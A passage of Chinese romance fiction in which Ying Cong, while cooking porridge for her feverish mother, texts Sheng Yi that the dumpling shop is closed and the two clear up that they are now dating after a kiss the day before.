第二天起床不久,应琮发现妈妈的房间门依旧关得严严实实。
奇怪,一般这个点,妈妈早就起床了。
“妈妈,”她来到应雨柔房前,小心翼翼地敲了两下门,“我可以进来吗?”
门缓慢地打开了,只露出一个极小的缝隙。
“宝贝,”应雨柔的声音很低哑,语气抱歉,“妈妈好像发烧了……”
“要不要去医院看看?”应琮急急道。
“不用,”应雨柔把门又关了一些,生怕病毒会传染给她,“我刚刚量过体温了,低烧而已。只是现在浑身没有力气。”
“那我……去煮粥给你喝。”应琮担忧不减,“今天就在家里好好休息吧。”
“好……妈妈先去睡一会儿。”
房门重新关了起来。
应琮来到厨房,快速地淘米、下锅,坐在椅子上看着火焰缓慢舔舐砂锅的时候,她忽然意识到一个重要的事情。
今天饺子店还要继续歇业,她得告诉某个人才行。
妈妈还在房间里休息,应琮也没办法拿她的手机来给盛逸发信息,无奈,她拿出自己的手机。
CC:【盛逸,今天饺子店不开门,下午你不用来了。】
Business:【……是不想和我见面吗?】
对方几乎是秒回。
这应该怎么回?
应琮犯了难,如果说不是的话,就好像自己很想和他见面。
虽然这话也确实不假,但从女生的嘴里说出来,岂不是一点都不矜持?
自己昨天已经不矜持过了。
可也不能昧着自己的心,说不想和他见面。
CC:【我妈妈今天生病了,所以才没办法营业的。】
应琮打了又删,犹犹豫豫中,还是删去了后半段的【我不想你跑空。】
Business:【我可以去你家吗?】
似乎是意识到这话不够稳妥,盛逸很快又发来下一句。
Business:【我很有照顾人的经验,如果有什么紧急情况,也能帮上忙。】
CC:【可以。你到了小区门口给我发信息,我出来接你。】
应琮简单一想便答应了,毕竟他也不是没来过自己家。
没想到她答应得过分爽快,盛逸反倒犹豫了。
Business:【是不是我太咄咄逼人了,你才勉强答应要和我见面的……】
CC:【?】
应琮不解。
他是不是误会了什么?
两个人的对话之中,哪里有咄咄逼人的成分在?
Business:【如果你觉得我去你家不好、不想见我的话,我也可以不过去的。只是……我希望如果发生了什么紧急情况,你能联系我,让我帮到一点忙。】
盛逸的姿态放得很低,应琮都要怀疑对面到底是不是自己熟知的那个他。
为什么变得那么可怜,那么小心翼翼。
CC:【为什么不和你见面?我们不是在谈恋爱吗?】
别管什么矜持了,这人肯定是误会了什么。
Business:【欸?!!从什么时候开始的?为什么我不知道???】
盛逸的信息轮番轰炸而来。
砂锅里的水滚开了,发出“噗噗”的声响,和悸动的心跳声混杂在一起。
【我们昨天不是kiss了吗*^_^*】
如果不喜欢他的话,为什么会吻他呢?